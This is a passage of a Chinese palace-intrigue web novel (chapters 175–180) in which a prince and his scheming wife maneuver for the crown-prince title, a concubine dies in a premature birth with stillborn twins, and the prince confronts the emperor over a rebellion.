白嬷嬷此时早就老泪纵横,她昏花的老眼中满是愧色跟心疼。 “信不信随你!本王只是给皇后娘娘提个醒,免得你再做出天怒人怨之事,死后不入轮回!”裴墨染放完狠话,牵着云清婳的手转身就走。 “假的!都是假的!”皇后放声大哭,哭得肝肠寸断,差点喘不过气,昏死过去。 幸亏白嬷嬷给她掐了人中,“娘娘,这事恐怕是真的!” 她早就发觉贤王跟皇后娘娘一点都不像。 而且皇上那么宠爱宸妃,为何不对宸妃儿子好,却对贤王好? 毕竟皇上跟皇后娘娘的感情,早在二十多年前就破裂了。 “肯定是裴墨染这贱婢之子挑拨离间计!本宫心疼了二十三年的儿子怎么可能不是亲生的?”皇后浑身都在颤抖,止不住的抽搐。 “不如再试试?老奴记得宸妃跟葡萄相克,每次一碰要么起红疹子要么上吐下泻。”白嬷嬷道。 皇后沉默了许久,眼角的泪流干了,她才缓缓颔首。 第175章 早产?! 裴墨染扶着云清婳,缓缓走在宫道上。 他迁就着她的步伐,每一步都迈得很小,耐心十足。 “夫君,皇后娘娘只是还难以接受事实,你别往心里去啊。”她圆润的眸子望着他,里面写满了心疼。 裴墨染冷峻的面孔渐渐放松下来,他沉声道:“蛮蛮,进宫之前我妄想过,或许皇后心中有我这个儿子。她知道真相后,兴许会惊讶、会后悔、会愤恨被皇上欺骗。” “可方才,我从她的眼睛里看见了嫌弃。那一刻我便看清了,皇后从未真心待我,我再也不会心软了。” 云清婳的嘴角勾起嘲讽的弧度。 狗男人说得倒好听。 可倘若真不在乎皇后,方才怎会故意在皇后面前阴阳怪气? 爱的反义词,从来不是恨,而是淡漠。 他的愤怒、刁难、仇恨,是在释放‘你哄哄我’的信号。 “既然都跟皇后摊牌了,那皇上呢?”云清婳问。 她真的有点着急了,她要当太子妃! 裴墨染目光深远,“先不急。” 云清婳有些看不清裴墨染了,她猜不到他心里在想什么。 …… 云清婳回府后,立即写了封信让人寄给裴云澈。 飞霜好奇地问:“主子,信上写了什么?” 她笑得狡黠,“我那么爱慕裴云澈,裴墨染背叛了他,我当然得通风报信啊。” “可若是打草惊蛇,裴云澈趁机翻盘了怎么办?那您岂不是当不了太子妃了?”飞霜不由得担心。 云清婳轻抚着肚子,胸有成竹道:“他翻不了盘!裴墨染或许会输,但我不会输。” “对了,沈沁已经找了催产的婆子进府了。”飞霜掐着指头算起来,“您的肚子快九个月了,沈沁的身子也快七个月了。” 云清婳忍不住笑了,“她可真是会作死,太后的药本就阴毒,足月生都会血崩,更何况是早产三个月?” …… 另一边,清心阁。 苏灵音惴惴不安地在寝殿踱步,险些将手中的帕子绞断,“为什么?为什么裴墨染这么久还不来看我?” “难不成他对我都是虚情假意?全是演的?” 怀疑的种子就要种下。 “可是倘若是演的,他为何牵着云清婳的手,却唤我的名字?下意识的反应是不会骗人的!”她嘀咕着。 巧慧悄悄翻了个白眼。 呵呵,当然是演的! 王妃跟王爷情比金坚,全是为了对付你这个外人的。 她虽然十岁就进了苏家,可十岁之前,她一直待在云家呢。 她的亲妹妹被卖进了苏家,仅仅因为梳头时失手扯掉了苏灵音一根头发,苏灵音便让人把九岁的妹妹活活打死。 这个仇,怎么能不报呢? 忽地,门被打开。 裴墨染走了进来,他菲薄的唇勾出一丝弧度,眼中藏匿着柔情,“灵音。” 苏灵音的眼圈泛红,眼泪啪嗒掉了出来,她柔声道:“王爷……” 她小跑着扑进他的怀中。 “多大的人了?还哭?”裴墨染忍着恶心,哄道。 苏灵音吸吸鼻子,她推开他,似真非真地发牢骚:“哼!” “王爷既然不相信妾身,罚妾身禁足,还来找妾身做什么?” 裴墨染的气场威严,尽管面带笑意,可神色始终夹杂着傲慢,“本王都原谅你了,你还不高兴?嗯?” 他屈指,宠溺地刮了下她的鼻梁。 苏灵音的眼泪控制不住的流了出来,她噘着嘴,委屈道:“王爷,真的不是妾身做的!” 明明是云清婳那个贱人,故意用假簪子诱导她犯错! 全是云清婳的错! 裴墨染恨不得扇她。 不是她做的,沈沁自己会动胎气? “好了!别提了!”裴墨染摆摆手,显然有些不耐烦。 苏灵音尽管委屈,但也清醒的知道不能再闹下去了,她只能打碎牙齿活血吞! 毕竟在男人心里,都是男尊女卑的,女人只是宠物、玩物。 她怎能反驳、忤逆裴墨染的想法呢? “妾身还以为王爷生气了,再也不理妾身了。”她抱着他的胳膊,泪眼朦胧。 裴墨染为她揩去眼泪,阴阳怪气地调侃:“你的眼泪比雨水还多!下次让你去治旱灾!” “讨厌啦。”苏灵音被逗得咯咯笑。 之前郁结的心绪,瞬间通畅,淤积在心中怀疑、担忧、不安消散了一半。 她孟浪的勾着他的腰带,冲他抛媚眼,“求王爷赐给妾身一个孩子。” 裴墨染在心底暗笑:做梦!你配吗? 事后,裴墨染很快就换好衣物,准备离开。 苏灵音却抱着他的腰,露出脆弱无倚的神色,“王爷,妾身好怕,妾身害怕您心中没有妾身。” “若是心中没有你,你怎会仅仅是禁足而已?”他的语气很认真,“换作旁人犯了此事,本王会杖责或者赐死。” 苏灵音的娇躯一颤,她露出恐惧的表情。 但实则,她对这个答案不满意。 倘若是云清婳犯事呢? 他也会杖责、赐死吗? 裴墨染看穿了她心中的疑虑,他的目光清澈,解释道:“将你禁足也是无奈之举,王妃恨不得把你吃了,倘若本王不把你保下,王妃恐怕又要扇你巴掌。” 说着,他揉了揉她的脸颊,“还疼吗?” 丝丝甜蜜满上心尖,苏灵音的舌尖似乎都尝到了甜味。 她莞尔一笑,娇软地倚靠在裴墨染的怀里,“王爷,王妃是您的妻子,她打妾身,也是妾身该受的。” 她茶兮兮地说着。 巧慧的白眼都快翻上天了。 裴墨染在心里默道:不然呢?蛮蛮打你,真是便宜你了。 “你跟王妃都是本王的妻,是她太偏激了,本王会说她。”他深情地说。 苏灵音捕捉到他眼底的克制、稍纵即逝的心疼,心中更甜了。 她不由得飘了,讽刺道:“王爷快走吧,若是王妃知道,妾身又要挨巴掌了。” 裴墨染如蒙大赦,转身就走。 他要立即沐浴更衣,他身上全是苏灵音的气味,恶心透了。 才出清心阁不久,几个婢女跪在他面前,将他拦住。 “王爷留步!沈夫人,要生了!” “沈夫人被野猫冲撞,吓得早产了。” 裴墨染的心咯噔一响。 他的脑海中首先冲出来的念头是——沈沁怎敢在蛮蛮前面生产? 他的眼中冒出凶光,杀了沈沁的心都有了。 别跟他说这是意外! 这种争夺长子之位的事,他在后宫听多了见惯了,这绝对不是巧合。 “真是老谋深算啊。”裴墨染阴恻恻地讽刺。 第176章 死胎,男人的薄情 沈沁的院落中丫鬟进进出出,端着一盆又一盆的血水。 稳婆、医女都在屋中急得团团转。 “啊……” “好疼……” 沈沁痛苦的哀嚎。 院中,云清婳跟魏娴早就在门外候着了。 其他跟沈沁交好的妾室也来了。 听见沈沁撕心裂肺的叫声,众人面色都一脸沉重。 若不是为了争宠上位,谋求生存,她们才不愿意给男人生孩子。 裴墨染来时,看到面色惨白,被吓得一动不动的云清婳,眼中满是怜惜。 他握住云清婳的手,她的小手手心全是汗。 这是被吓到了。 “蛮蛮,你是足月生,你定不会这般痛苦。”裴墨染什么都不懂,胡乱安慰着。 云清婳的眼神跟刀子似的,刺了他一下。 她演这一出,就是为了让裴墨染心怀愧疚、心怀感恩。 男人是无法共情女人的。 女人在产房九死一生,叫得撕心裂肺、血流不止,男人也无法感同身受,只会觉得矫情、做作! 甚至会说,哪个女人不生孩子?谁谁谁都没你矫情。 飞霜愤愤不平:“主子分娩时,难不成还会觉得享受不成?” 裴墨染自知失言,恼羞成怒地瞪了飞霜一眼。 “沈沁的胎儿未足月都这么难生,王妃要当心,您也是双胎,身子骨弱,可要让太医好生看着。”魏娴故意扯了下云清婳的衣裳。 让她的肚皮显得更大。 云清婳跟魏娴趁机交换了眼神。 裴墨染的眼中划过了慌乱,他道:“这是自然,本王立即命人将太医请到府中常驻,直到王妃生产完毕。” 知道怕了就对了,但这还不够。 云清婳挑起黛眉,笑着调侃:“夫君方才不是说我生孩子简单吗?” “……”裴墨染有一点委屈。 几个妾室在庭院中窃窃私语,“沈夫人这次放手一搏,从此荣华富贵不用愁了。” “听闻陛下素来喜欢孩子,更何况沈夫人生的还是双胎?沈夫人恐怕要晋升为侧妃了。” “王妃生产前,沈夫人都是府中的贵人了。” 裴墨染一个眼风刮了过去,命人将多嘴多舌的妾室拖下去掌嘴。 他搂着她的肩膀,在她耳边哄道:“蛮蛮,沈沁设计早产,赶在你之前生下长子。但你放心,你是我的王妃,没有人会越到咱们的孩子前面。” “夫君,我不在意这个,我有些担心沈沁跟孩子。”她的声音闷闷的。 裴墨染的心化成了一滩水,心疼不已。 沈沁的心,路人皆知。 可蛮蛮却在担心沈沁的安危。 “这是她自作自受。”他厌恶地说。 过了半个时辰,门被打开。 稳婆气喘吁吁地探出身,“王爷,沈夫人难产,保大还是保小?” “……”云清婳脚下一软,跌进了裴墨染的怀中。 他眼疾手快,立即将她扶住。 ‘保小’二字,几乎要脱口而出。 可裴墨染担心蛮蛮觉得他薄情寡义,将来会害怕生产。 他烦躁的低吼:“母亲跟孩子本王都要!一个都不许出事!” 稳婆一颤,被吓得整个人都懵了,过了一会儿才连连点头,转身进了产房。 裴墨染垂眼观察着云清婳的表情,“蛮蛮,不必怕。” “嗯。”她抿着唇,沉重地点头。 又过了一炷香的功夫,医女、稳婆都出来了。 “王爷,王爷……” 裴墨染不耐烦的低吼:“大小都保!” “不行啊……”医女、稳婆跪地。 “沈夫人血崩了!皇嗣恐怕……” 裴墨染鬓角的青筋鼓起,他呲目欲裂,“孩子不能有闪失,否则提头来见!” “是。”医女、稳婆身子一抖,嗓子里溢出了低低的呜咽声,转身又进了产房。 云清婳跟魏娴相视一笑。 瞧,狗男人这么快就原形毕露了。 还是孩子更重要。 魏娴用手背揩去额上的汗珠,她的心七上八下。 趁着裴墨染关心产房里孩子的安慰,她拉过云清婳到一边,担忧道:“蛮蛮,双胎是吉兆,沈沁的孩子在你之前出生,多多少少会盖过你孩子的光芒。” “最关键的是,有了她的双胎,你的孩子就不稀奇了。王爷就没那么惊喜了。” 魏娴的分析不无道理。 物以稀为贵。 第一个孩子,在父亲眼中终归是不同的。 “这也没办法。”云清婳递给她一个安心的眼神。 她不会对孩子下手,因为姐姐喜爱孩子,她在天之灵若是看见,会不高兴的。 魏娴无奈地吁了口气,“是啊,咱们也不是心狠手辣之人,总不可能对婴儿下手。” 忽地,产婆面色惨白地跑了出来,“不好了!不好了!沈夫人血崩了!” 一股血腥味从产房中窜出来,腥味浓重。 好几个妾身不知是被吓得,还是被熏的,竟干呕了起来。 没多久,医女也跑了出来,“王爷!孩子憋太久了,断气了!” “是两个男胎啊!” 倏地,众人大惊。 所有人纷纷下跪,“王爷节哀!” 云清婳压住眼角眉梢的喜色,她挤出沉重的表情,“夫君,节哀。” 裴墨染的脑海一片空白,思绪如同稻草被付之一炬。 起初,他的心中没什么感觉,随后遗憾、惋惜以及可以忽略不计的悲痛涌了上来。 毕竟是自己的血脉! 毕竟是两个男胎啊! 就算不喜沈沁,他也没法不难过。 “这贱妇机关算尽非要催产,这下她满意了?”他刻薄地说出诛心之言,“她怎么敢的?一副贱躯却折损了本王的两个子嗣!” 裴墨染越想越气。 他气恼沈沁的愚蠢、阴险,葬送了双胎的吉兆,葬送了他夺嫡的筹码。 他甚至觉得十分晦气、十分触他的霉头! “晦气!”裴墨染甩袖,厌恶地骂道。 院内所有的女人看着裴墨染的冷血无情,心尖一颤,背脊发凉。 真凉薄啊。 无论如何,沈沁也是为了给你生孩子。 明珠抱着两个襁褓走了出来,孩子尚有余温,她扑通一声跪下,“王爷,两位公子该怎么办?” “……”裴墨染扭过脸去,根本不愿多看。 他微不可闻地叹息,菲薄的唇轻启:“今日何曾有人分娩?沈氏故意滑胎,谋害皇嗣,即日把她丢去庄子上,本王再也不想看见此毒妇。” 门内,忽地发出尖叫,“好多血啊,好多血啊……” 飞霜都忍不住同情,她小声道:“沈沁定是听到王爷的话,受刺激了。” “姐姐……姐姐……”门内传出气若游丝的声音。 “王妃,求您见见我们主子吧!我们主子没一会儿了!我们主子临终前就想见您啊!”明珠抱着两个死胎,哭着给云清婳磕头。 裴墨染的眸子一眯,深邃的眼眶一片阴翳,他沉声道:“这般晦气之人,也配见王妃?是想冲撞王妃吗?” “王爷、王妃,求您们了!主子不好了……”明珠泣不成声。 魏娴望着云清婳摇头,“沈沁多思善妒,就怕她会伤了你。” 云清婳却向前一步,“我愿意见她最后一面!” 一个将死之人,有何可惧? 第177章 蛮蛮,你让我临幸谁? 裴墨染抓住她的手,蹙眉道:“不可!这贱妇晦气,当心冲撞了你。” 云清婳眼神复杂地看他,她的眼神就像火星子,微弱却滚烫,让他不禁放开了手。 她捂着口鼻,走进产房。 床榻上根本来不及收拾干净,沈沁下身的血实在太多。 她像是一个瓷娃娃,满脸都是汗水,面无血色,连唇瓣都浅得发白。 “姐姐……看见我落得这般田地,你是不是很解气?”她气若游丝,眼里却带着笑。 云清婳摇摇头,“我从未把你当做对手。” 眼泪从沈沁的眼尾垂下,或许是回光返照,她轻轻地笑出声,“我只是想让姐姐瞧得起我,姐姐你太偏心了,你对魏娴好,却不肯对我好。” “姐姐,我知道错了,你再喊我一声阿沁好吗?” 云清婳:“……” 又没有其他人在,她为什么要演戏? 沈沁的眼皮快要睁不开,她出气多进气少,身上感到了前所未有的沉重,“姐姐果然不肯原谅我,生子药方有问题,姐姐是知道的吧?” “我送了姐姐一份大礼,还望姐姐喜欢……” 最后一个字音,还未从嗓子溢出,沈沁就阖上了眼皮。 她躺在榻上一动不动,就好像睡着了一样。 云清婳叹息一声。 犹记得,沈沁刚入府时,是多么灵动。 可现在只剩残躯躺在腥臭、血淋淋的榻上。 为了赌一口气,值得吗? …… 云清婳怔怔地走出产房,红着眼道:“阿沁没了。” “呜呜呜……主子……”明珠哭着冲进了产房。 裴墨染的眼中划过暗色,他搂紧云清婳,“吓到没有?早知如此,方才无论你说什么,我都不让你进去。” “夫君,好生安葬她吧。”云清婳鼻尖泛红,露出悲伤的神色。 裴墨染的脸上阴云密布,“嗯。” 他自然会安葬沈沁以及两个孩子。 烧了吧,这样最干净。 免得将来有人查出两个死胎之事,污蔑他不吉,大做文章。 “今日之事,倘若谁敢传出去,杀无赦!”裴墨染的脸上像是覆盖了一层寒霜。 众人点头如捣蒜。 当日,这些妾室便被禁了足。 …… 玄音阁。 云清婳晚上用了一碗粥,便什么都吃不下了。 她恹恹地靠在引枕上,异常沉默。 裴墨染敏锐地察觉到了不对劲。 他握着她的手,紧张地问:“蛮蛮,你怎么了?是不是被她吓到了?” 不必明说,也知道‘她’指的是沈沁。 “没事。”云清婳低下头。 她憔悴的小脸上眼尾低垂,黛眉眉尾也耷拉着,小嘴微嘟,显然在不高兴。 裴墨染莫名心虚,“是不是因为我对她的态度?她企图争夺长子之位,故意催产,无端折损了两个子嗣。” “双胎成了死胎,乃是大凶之兆,倘若有心之人做文章,我必会受到牵连。” “蛮蛮,此事不能怪我!这是她自找的!” 云清婳自然明白裴墨染的心思。 她也很认同。 但她要让狗男人明白,生产不易,让他明白,她付出了什么。 “夫君无论做什么,蛮蛮都会支持。可是今日看到阿沁,我很怕。”她用帕子擦了下眼角并不存在眼泪,“我怕会跟阿沁一样……” “谶言!蛮蛮必不会有虞,蛮蛮乐善好施,救人无数,老天必不忍心让你受苦。”他急红了眼。 若是蛮蛮跟孩子有三长两短…… 将来身边没有她的日子,他不敢想。 云清婳吸吸鼻子,“夫君就会说好听话哄我,到时候倘若真有意外,说不定夫君也会怪我没用,嫌弃我晦气。” 他的心都疼了,他连忙俯下身,抱着她,“蛮蛮,你跟旁人是不同的!我哪舍得怪你?哪舍得嫌弃你晦气?其实今日看到她难产,我的心疼了一下,因为我想到了你。” 蛮蛮的身子羸弱又娇气怕疼,可却为他怀了双胎。 女人生产本就不易,更何况还是生两个? 一想到不久后,蛮蛮要吃的苦头,他就会心慌意乱。 “夫君,我怕。”她将脸埋在他胸口嘤嘤嘤地哭泣。 其实,他何尝不怕呢? 生孩子可不是闹着玩的。 裴墨染突然冒出来了一个念头。 反应过来时,他都不禁责怪自己。 他居然后悔让蛮蛮怀孕了。 “蛮蛮不怕,你的脉案我都看过,太医说咱们的孩子胎位正,大小也正好,是好生的……对,是好生的。”他轻轻拍抚着她的背,可声音越来越小,明显底气不足。 二人沉默,心跳声此起彼伏地交错。 云清婳的嘴角勾起,狗男人知道怕了就对了! 夜里,二人平躺在榻上。 云清婳突然觉得裴墨染好碍事,这么大的床榻,无端被他占了一半。 她想侧身躺着都不方便。 思索后,她措辞开口道:“夫君,我怀着孕,你却日日来玄音阁,此事若是传出去,定会说我仗着身孕霸占你。府中也难免怨声载道,你该去临幸其他人了。” 裴墨染侧过身,大掌轻抚她的肚子,脸上的线条冷硬起来,“临幸谁?” 为何让她选? 云清婳怀疑这是个测试。 她得一碗水端平。 “自然是看夫君的意愿,最好是雨露均沾,这样既方便延续香火,也不至于让她们感到寂寞无依。”云清婳分析着。 裴墨染的脸色肉眼可见的黑沉下来,他的眼里蹭蹭冒着火光。 她毫无察觉,继续道:“阿娴跟我亲近,夫君若是多多眷顾阿娴也好。” 裴墨染肚中的火气蹭得窜了起来,他扣着她的后脑勺,莽撞地将她吻了一通。 “你还真选上了?把你男人往外推,你怎么想的?”他咬牙切齿。 云清婳懵了。 实在太疲乏,她是真的没有反应过来裴墨染方才在阴阳怪气。 她还真以为裴墨染让她举荐呢。 自从怀了孕,她的注意力就不太集中,渐渐放松了脑袋里紧绷着的弦,所以才会揣度失误。 她伸出手,挠了下他的腰窝,调侃道:“那夫君别娶这么多人啊!美人都被你享受着,骂名都被我担着。” 他被噎住了。 “我岂是重欲之人?什么劳什子美人,我才不稀罕!”裴墨染的话毫无说服力,但他理不直,气也壮。 云清婳乜了他一眼,抬起笨重的身子,艰难地转身背对着他。 “你生气了?”裴墨染吻着她的耳廓,“我听你的,明日就去。” “明明是你自己心之所向,弄得像是我逼你。”她嘁了一声。 裴墨染捏捏她的脸蛋,心里暗爽,“好酸啊!你吃醋了?” 第178章 生完这次,咱们不生了 他扪心自问,这段日子,他的确没想过其他女人。 他只对云清婳没有节制、上瘾,也只有她与他最为契合。 后宅的女人像是一个个玩意儿。 起初,形形色色的女子讨好他、谄媚他,他会有一瞬间的新鲜感。 可经历多了,索然无味,他只觉得蛮蛮好。 “……”云清婳懒得回答这么无聊的问题。 她只想知道何时她才能成为太子妃! “怎么不回答我?”裴墨染揽着她的腰身。 云清婳慵懒道:“夫君,腰疼,你给我揉揉啊。” “好。”他熟稔地为她揉着后腰。 蛮蛮的身子这般单薄,却孕育了两个生命。 “蛮蛮,生完这次,咱们就不生了。”裴墨染感到心疼和后怕。 云清婳翻了个大大的白眼。 狗男人说得倒是好听,他说这些完全是在假设她生了男孩的前提下。 啪—— 她抬起巴掌,狠狠打开腰上的手,她恶狠狠地说:“你别吓我了!” 裴墨染一愣,“我不是那个意思,蛮蛮定能平安。” …… 之后的几日,裴墨染果然挨个临幸了后宅的女人。 其中,魏娴那里他去得最多。 再其次,就是苏灵音了。 云清婳乐得清闲,她每日闲适地坐在贵妃榻上,安心等待着产期。 不用再跟裴墨染虚与委蛇,她通身陡然一轻,胃口都变好了。 晌午时,魏娴送来了亲手做的糕点。 云清婳捻起一个吃,“阿娴做得真好吃。” “这些糕点小巧,也不甜腻,但也不能吃太多。你还有半个月就要生了,当心胎儿太大,生产困难。”魏娴正色道。 云清婳总觉得魏娴的性子很像姐姐。 她乖乖点头,“这几日,阿娴过得怎么样?” “王爷倒是时常来,但没临幸过几次,大多时候都是跟我聊天。”魏娴的眼里倾泻出厌色。 飞霜好奇地问:“魏夫人,王爷找您聊什么啊?” 魏娴翻了个白眼,“有时聊蛮蛮,有时聊生产,我都困得不行了,他却说个没完。” 明明妻妾成群,却把自己搞得跟大情圣似的! 演给谁看呢? “真是癞蛤蟆跳脚面,不咬人,光膈应人。”云清婳嫌弃地咧嘴。 魏娴嗤嗤地笑了,“王爷才二十三岁,正是意气用事的年纪,你在这时抓住他的心也好,日后无论发生什么,他心中总会挂念你。” 云清婳轻抚着肚皮,垂下眼睫不语。 可是她等不及了,她只想趁这些年,裴墨染心中有她时尽情造作,杀光仇人。 至于之后裴墨染变心与否,她都不关心了。 “对了,你仔细想想,昨日沈沁没什么反常吧?她极其善妒,我怕她会趁机算计你。”魏娴淡淡地说着。 她虽然会担心,但并不会很担心。 沈沁的脑力不足,心思复杂却头脑简单。她的确是个麻烦,但不会很麻烦。 “她临终前说送了我一份大礼。”云清婳心不在焉地翻看着账本。 魏娴跟飞霜对视一眼,眸色都警觉起来,“蛮蛮,你昨日怎么不说?最好当着王爷的面挑明,当心酿成隐患。” “我怀疑,沈沁可能真送了我一份好东西。”云清婳粉嫩的唇瓣勾起,好似陡然掌握了一切。 “……”魏娴不敢苟同。 飞霜心里也七上八下的。 主子的心也太大了。 不过既然主子这么说,她也只能听命。 正说着,一个婢女送来了一封信。 云清婳拆开信封一看,黛眉轻挑,眼底露出兴奋的光,“阿娴,我们的好日子快来了。” “信上写了什么?”魏娴的心砰砰直跳,不禁激动。 “西和王起兵造反了,势如破竹。裴云澈在早朝上,举荐了裴墨染。”她道。 魏娴有点诧异云清婳的反应。 毕竟在世人心中,云清婳是悲天悯人的观音相,是世家贵族中出了名的乖乖女。 但她并非善男信女,她也大概想到了蛮蛮的心思。 “所以朝廷会派王爷前去平定。”魏娴倒吸了凉气,“西和王的兵力如何尚未可知,但我听爹爹说过,这位八皇叔的武力超群,排兵布阵能力也不容小觑,皇上都忌惮他。” 若是王爷能一战成名,击退逆党,自然会受到皇上的重视。 倘若有什么三长两短,她们…… 魏娴的脸色忽然变得古怪,她倾身靠近云清婳,压着嗓子问:“蛮蛮,你莫不是盼着王爷出事,想当寡妇?这么一来,你的儿子就是世子,整个肃王府就是你的了。” 她的眼底也隐隐闪出兴奋的光。 云清婳:…… 飞霜:…… 狠人啊! 论起狠,她们在魏娴面前只能算小菜。 “我说的对不对?”魏娴急忙向她确认。 砰—— 门忽然被推开。 裴墨染沉着脸,他穿着一身银色铠甲大步走来。 魏娴吓得心脏快跳出腔子。 可她强行压下心虚,淡然地福福身,“见过王爷。” 他没搭理魏娴,径自走进云清婳。 云清婳不动声色地将信笺往坐垫下塞了塞,她道:“夫君为何这么早就下职了?” 他看了眼魏娴,魏娴识趣地告退。 “西和王造反了,云城正在负隅抵抗,朝廷再不派援兵,恐怕会被屠城!”他的喉咙干涩。 “屠城?”云清婳捂着嘴,面上又惊又惧。 “所以我欲即刻向父皇请命,带兵去云城支援,今晚便会离开。”裴墨染不舍地望着她。 云清婳的眼尾瞬间红了,她露出不舍的表情,“夫君,不要去。” 裴墨染心中暗爽。 自从上次入狱骗了蛮蛮后,她的小性子就越发大,脾气也暴躁起来。 这还是自那之后,她头一次的温柔小意。 “你不信我?”他屈起指腹,刮了下她的鼻梁。 “……”她撇着嘴,眼泪在眼眶打转。 他难得认真,沉声道:“蛮蛮,云城是大昭领土,云城百姓是大昭的子民,我不能见死不救!倘若连我都贪生怕死,我就不配肖想成为储君。” 云清婳不禁在心里感叹,不愧是小说男主啊,格局就是大! 只可惜,这个莽夫忠肝义胆、意气用事,居然想不到用国家危亡跟皇上谈条件! 有她在,她可不能让裴墨染白白去卖命。 她的眼神一凛,她决定做一次尝试、挑战。 为了复仇,这是必须迈出去的一步。 当下就是一个很好的机会。 暴露出自己阴暗、自私的一面,看看裴墨染会是什么反应。 第179章 跟皇上摊牌,对峙 倘若裴墨染真像他口中这么爱她,就算看到她的自私自利、狠毒也会觉得可爱。 倘若他不够爱,就会站在道德的制高点挑挑拣拣,就会心生厌恶,觉得她不如从前。 “夫君自然是要去云城的,但不能现在去!用人朝前,不用人朝后,这样的亏,夫君吃得还少吗?”她没有感情地说。 裴墨染心急如焚,他攥着她的肩膀,声音陡然拔高,“蛮蛮,我希望你能支持我。我可以等,可云城百姓等不了了!我们不能这么自私,西和王扬言屠城,人命不是闹着玩的。” “呜……”云清婳猝然哭出声,“我只是一个怀孕的妇人,我不知道什么家国大义,我只想我的夫君平安,倘若有虞,我至少要为你守住肃王府,守住两个孩子。” 裴墨染哑声。 他的心上像被捅了一把刀子。 他考虑了云城百姓,却没有考虑蛮蛮跟孩子,可他居然还说蛮蛮自私。 “不哭了,是我不好。”他连忙给她擦眼泪。 云清婳侧过脸,气呼呼地推他,“裴墨染,你敢走!你就算要走,也得给我跟孩子一个交代,你忍心看我们母子受人欺辱吗?” 裴墨染的心像是被生生撕裂开。 他的脑海中甚至浮现出,倘若他有三长两短,蛮蛮跟孩子被裴云澈强取豪夺的画面。 “我……”裴墨染怎会不明白云清婳的暗示? 但一想到,要用云城百姓的性命谈判,换取储君之位,他的良心多多少少会不安。 储君之位,他要! 但绝不能以国难为筹码。 他犹豫道:“蛮蛮,你的担心不无道理,但我……” “王爷,诸葛军师求见!”门房的声音传了进来。 “让他去书房候着。”裴墨染吐出一口浊气,面色疲惫。 …… 书房。 云清婳跟着裴墨染到了书房。 他一进门,诸葛贤便匆匆迎了上来,“王爷!您万万不可自请去云城御敌啊!” “诸葛先生别劝了!本王已决定即刻……”他突然想到什么,声音戛然而止,心虚地瞥向云清婳。 云清婳的小脸气得涨红,委屈地抹眼泪。 “如今都火烧眉毛了!国难当头,云城三千口百姓危在旦夕,此刻若是拿百姓的性命谈判,岂不是太下作了?”裴墨染叹息。 诸葛贤昏花的老眼炯炯有神,他深深鞠了一躬,“那就要看王爷是想护住天下人,还是只想护住云城一城的人。救天下人是救,救云城百姓也是救,孰轻孰重,王爷心中要分明啊。” “……”裴墨染有些迷茫。 诸葛贤继续道:“老夫僭越!除了王爷,朝中有谁真为云百姓城考虑?睿王、虞将军龟缩一旁,贤王甚至恶意举荐了您,其他人更不必说。更何况,储君之位本就是您的!” 只有裴墨染真正为云城百姓着急,而其他皇子都把此事当作了政治游戏。 因为他们心中默认,总有人兜底,总有人会擒住西和王。 至于百姓的死活,于他们有何干系? “……”裴墨染的态度有所松动,他若有所思地看向远处。 救一城人,还是救天下人。 他得有考量。 他对这些只会坐而论道、满口仁义的兄弟早就失望透顶,大昭绝不能落在他们手里。 诸葛贤朝云清婳投去了求助的目光。 没办法,王爷太轴了,他需要理由说服自己。 云清婳接收到他的眼神,抽抽噎噎地哭起来,“呜呜呜……我快生产了,可夫君却要离我而去。也不知我能否顺利分娩,倘若有虞,夫君连我不在了也不知道!” “倘若无虞,云城有什么三长两短,我抱着孩子随夫君去了吧!” “夫君心里有天下,有云城百姓,可好像没有我,也没有孩子……”她的声音娇软,不带丝毫威胁的意味,只有无尽的苦楚、委屈。 诸葛贤不由得暗叹,王妃太厉害了,以柔克刚! 裴墨染的心脏抽疼,他想说他会大获全胜,她也会顺利产子。 可这些话太无力,太苍白。 “胡言!”他伸出手为她揩去眼泪。 诸葛贤沉吟一声,言真意切道:“王爷,您爱民如子,可也应当给王妃与皇嗣留后路啊。” 裴墨染的眸色一沉,心中做起了决定,“好……本王知道了。” 他得为了天下百姓争,为了蛮蛮跟孩子争! 他不是自私,不是弃云城百姓于不顾,而是为了大局。 …… 裴墨染跟云清婳一同进宫。 二人穿着王爷、王妃服制,端庄的侯在御书房外。 裴墨染牵着她的手,心疼道:“蛮蛮,你不必跟我进宫的。” “想必跟皇上摊牌不会一帆风顺,我想陪着夫君。”云清婳满眼深情。 皇上可是一只老谋深算的狐狸,裴墨染跟他斡旋,索要储君之位,恐怕不会顺利。 哪怕是她,把握也没有十成! 所以她必须亲自来看看才安心! 二人正说着,裴云澈从御书房走了出来,他讥诮地睨着裴墨染,脸上扬起标志性的微笑,“墨染,来请命出兵云城吗?” “恐怕要让你失望了,本王才被刺客重伤,伤势未愈。”裴墨染不咸不淡道。 裴云澈轻嗤,“你我兄弟二人真是手足情深!本王料到你会这么说,已经禀告父皇,你的伤势早已痊愈。” 裴墨染眯着眼,眸子如同鹰隼般骇人,他攥紧了拳头,“裴云澈,你就笃定本王会有去无回?本王若是大获全胜,解决国难,你岂不会夜不能寐,食不下咽?” “怎会?皇兄会为你感到骄傲,日后江山有你庇佑,本王很安心,不枉母后养育你一场。”裴云澈像在看一只蝼蚁。 裴墨染冷不丁笑了,“希望明日你还能如此开怀。” 裴云澈将折扇合拢,用扇骨敲了敲他的肩膀,“墨染,皇兄教你一个道理,看门狗,看好门就够了!主人家的东西,怎么能肖想呢?” 他浑身阴恻恻的,轻车熟路地霸凌裴墨染。 可裴墨染早就不是当初那般,能被情感绑架的少年了。 裴墨染跟被秽物碰到似的,一把拍飞了他的扇子。 上好的檀木扇子在地上摔裂。 裴云澈黑了脸。 云清婳感到头疼,他们准备在御书房门口打起来不成? “都给我住手!”她怒道。 两个男人瞬间噤声。 裴云澈柔情地看了云清婳一眼,转身离开。 太监总管走了出来,“肃王殿下,陛下召见您。” “是。”裴墨染垂眸看向云清婳。 云清婳回了他一个信赖的眼神,“愿夫君如愿以偿。” 这让裴墨染的心中感到前所未有的安定,虚浮的心在这一刻好像有了落脚点。 第180章 贬去西北,永不回京 进了御书房,皇上威严地坐在上首,他穿着一身玄色龙袍,倚靠在龙椅上,浑身透着矜贵疏离。 “圣躬安。”裴墨染跪下叩首。 “朕安。”皇上的脸色透着山雨欲来风满楼的阴沉。 “墨染,朕欲派你去迎敌,你意下如何?”他的语气比以往柔和了几分。 裴墨染拱手,字字铿锵:“父皇,儿臣有心无力,实在伤势未愈。” 呵—— “伤势未愈?”皇上冷如冰珠的吐出一声嘲讽,“云澈方才说你假装重伤、脉案造假,想借云城拿捏朕,朕还不信!没想到你的野心这么大!你配吗?” 他的话毫不留情,像是一巴掌狠狠甩到裴墨染的脸上。 裴墨染的心都颤了颤,他顶着巨大的压力的抬起头,看向上首的男人。 